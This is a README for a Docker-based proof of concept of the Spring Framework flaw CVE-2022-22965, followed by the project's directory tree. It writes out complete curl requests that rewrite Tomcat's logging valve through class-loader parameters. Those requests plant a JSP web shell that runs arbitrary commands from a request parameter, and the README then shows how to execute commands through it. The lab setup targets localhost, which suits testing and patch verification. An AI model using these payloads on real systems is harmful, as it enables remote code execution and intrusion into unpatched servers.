CVE-2022-22965 proof of concept# Spring Boot CVE-2022-22965
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5
# Getting Started
1. Run `docker compose up --build` to build and start the vulnerable application.
2. Run `curl -H "Accept: text/html;" "http://localhost:8080/demo/sample?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="` to changes Tomcat config valve.
3. Run `curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"` to create the web shell.
4. Open your browser and go to http://localhost:8080/shell.jsp?1337=id to start executing commands.
[4.0K] /data/pocs/6bb06401a031928fe567b792a43afa4653bcf3c9
├── [ 130] docker-compose.yml
├── [ 348] Dockerfile
├── [1.4K] pom.xml
├── [1.1K] README.md
├── [4.0K] src
│ ├── [4.0K] main
│ │ ├── [4.0K] java
│ │ │ └── [4.0K] com
│ │ │ └── [4.0K] example
│ │ │ └── [4.0K] demo
│ │ │ ├── [ 174] CommonBean.java
│ │ │ ├── [ 427] DemoApplication.java
│ │ │ ├── [ 529] EvalBeanController.java
│ │ │ └── [ 752] EvalBean.java
│ │ └── [4.0K] resources
│ │ └── [ 0] application.properties
│ └── [4.0K] test
│ └── [4.0K] java
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ └── [ 206] DemoApplicationTests.java
└── [4.0K] target
├── [4.0K] classes
│ ├── [ 0] application.properties
│ └── [4.0K] com
│ └── [4.0K] example
│ └── [4.0K] demo
│ ├── [ 528] CommonBean.class
│ ├── [ 760] DemoApplication.class
│ ├── [1.2K] EvalBean.class
│ └── [1000] EvalBeanController.class
└── [4.0K] test-classes
└── [4.0K] com
└── [4.0K] example
└── [4.0K] demo
└── [ 531] DemoApplicationTests.class
21 directories, 16 files